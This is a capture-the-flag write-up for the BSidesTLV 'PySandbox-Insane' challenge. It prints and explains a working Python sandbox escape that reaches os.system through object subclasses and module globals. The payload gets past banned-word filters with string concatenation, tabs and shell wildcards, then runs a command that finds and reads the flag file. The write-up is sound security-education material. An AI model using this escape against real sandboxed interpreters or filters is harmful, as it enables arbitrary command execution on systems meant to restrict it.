PySandbox-Insane

By Yaakov Cohen and Narcissus

PySandbox-Insane

We needed to find a way to read the file whilst not using any of the banned words.

Our solution to this challenge is:

(1).__getattribute__('__init'.__add__('__')).__objclass__.__getattribute__((1).__getattribute__('__init'.__add__('__')).__objclass__,'__subclasses'.__add__('__'))(    ).__getitem__(59).__getattribute__((1).__getattribute__('__init'.__add__('__')).__objclass__.__getattribute__((1).__getattribute__('__init'.__add__('__')).__objclass__,'__subclasses'.__add__('__'))(    ).__getitem__(59),'__init'.__add__('__')).__getattribute__('func'.__add__('_globals')).__getitem__('line'.__add__('cache')).__getattribute__('o'.__add__('s')).__getattribute__('sy'.__add__('stem'))('/bin/ca?    $(find    /    -name    fla?.txt)')

Which returns: BSidesTLV{I_AM_The_Python_Mater}

Let's break this code down and try to explain what's going on.

# ().__add__() instead of +, used both to bypass the blocking of '+' and to help bypass blocking of certain words

# '    ' is a tab not a space.

# '__getattribute__' replaces '.'. You might notice that sometimes we send one parameter and sometimes two. The difference is when working on an object or a type. For a type we need to send an attribute name as well as an object to work on. For an object we only need to send the attribute name, because it already works on the object it was called on.

# '__getitem__' replaces '[]'

# Getting acces to objects
an_object = (1).__getattribute__('__init'.__add__('__')).__objclass__

# Getting all of object's subclasses, which is pretty much everything in python
object_subclasses = an_object.__getattribute__(an_object,'__subclasses'.__add__('__'))

# Getting access to the class 'warnings.catch_warnings'
class_warnings = object_subclasses(    ).__getitem__(59)

# Getting access to the function init()
func_init = class_warnings.__getattribute__(class_warnings,'__init'.__add__('__'))

# Getting access to globals()
func_globals = func_init.__getattribute__('func'.__add__('_globals'))

# Getting access to module 'linecache'
linecache = func_globals.__getitem__('line'.__add__('cache'))

# Getting access to module 'os'
module_os = linecache.__getattribute__('o'.__add__('s'))

# Getting access to built-in function system()
func_os_system = module_os.__getattribute__('sy'.__add__('stem'))

# Since we can't write ' ', cat' or 'flag.txt' we need to use tabs and wild cards 
get_flag = '/bin/ca?    $(find    /    -name    fla?.txt)'

Resulting in:

# Calling system on our flag reading command string
func_os_system(get_flag)

Basically we built our way up into being able to call system commands and then found and printed the flag.

Success